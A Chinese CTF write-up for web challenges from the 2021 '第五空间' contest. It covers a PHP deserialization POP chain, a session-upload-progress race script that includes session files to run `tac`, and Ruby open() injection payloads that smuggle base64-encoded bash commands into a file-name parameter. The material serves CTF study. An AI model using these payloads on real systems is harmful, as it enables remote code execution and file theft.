天天看点

2021第五空间线上赛web wp

pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>


           

解题:

前置

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
           

pop链构造

<?php
include 'flag.php';

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace();

    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename='flag.php';
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = &$this->openstack->nova;

        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}
$pop=new acp();
echo urlencode(serialize($pop));

?>
           

EasyCleanup

<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}

?> 
           

前置:

strstr() ,搜索字符串在另一字符串中的第一次出现。该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
           

函数分析:

filter

函数过滤了一堆符号和一些字符

checkNums

函数检查变量中包含

alphanum

的次数

我们最终可以通过shell参数执行命令和file参数包含文件。

exp

我们利用session文件包含写个脚本

import io
import requests
import threading
url = 'http://114.115.134.72:32770/index.php'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo `tac f*`;?>snakin'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'snakin' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)
           

WebFTP

进入界面

2021第五空间线上赛web wp

发现是一个webftp,查看源码发现并无可利用的。一般这种系统我们去github看看,搜到了。

/Readme/mytz.php

中有

if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){
	phpinfo();
	exit();
}
           

flag在phpinfo()里面

http://114.115.185.167:32770/Readme/mytz.php?act=phpinfo
           

PNG图片转换器

2021第五空间线上赛web wp

fuzz一下,尝试上传图片马什么的失败。

学习一波,考点是:

Ruby open rce

https://ruby-doc.org/docs/ruby-doc-bundle/Manual/man-1.4/function.html#open

https://blog.heroku.com/identifying-ruby-ftp-cve

所以解题思路:

读取根目录文件内容
file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png
file=|ls+`echo+$PATH|cut+-c+1`+>aaa.png
           
接着读取/FLA9_KywXAv78LbopbpBDuWsm的内容
cat /FLA9_KywXAv78LbopbpBDuWsm
           
file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png
           

yet_another_mysql_injection

暂时不会

参考:

https://www.wolai.com/atao/gadQ8XjLaxoMSNGNgCZaJh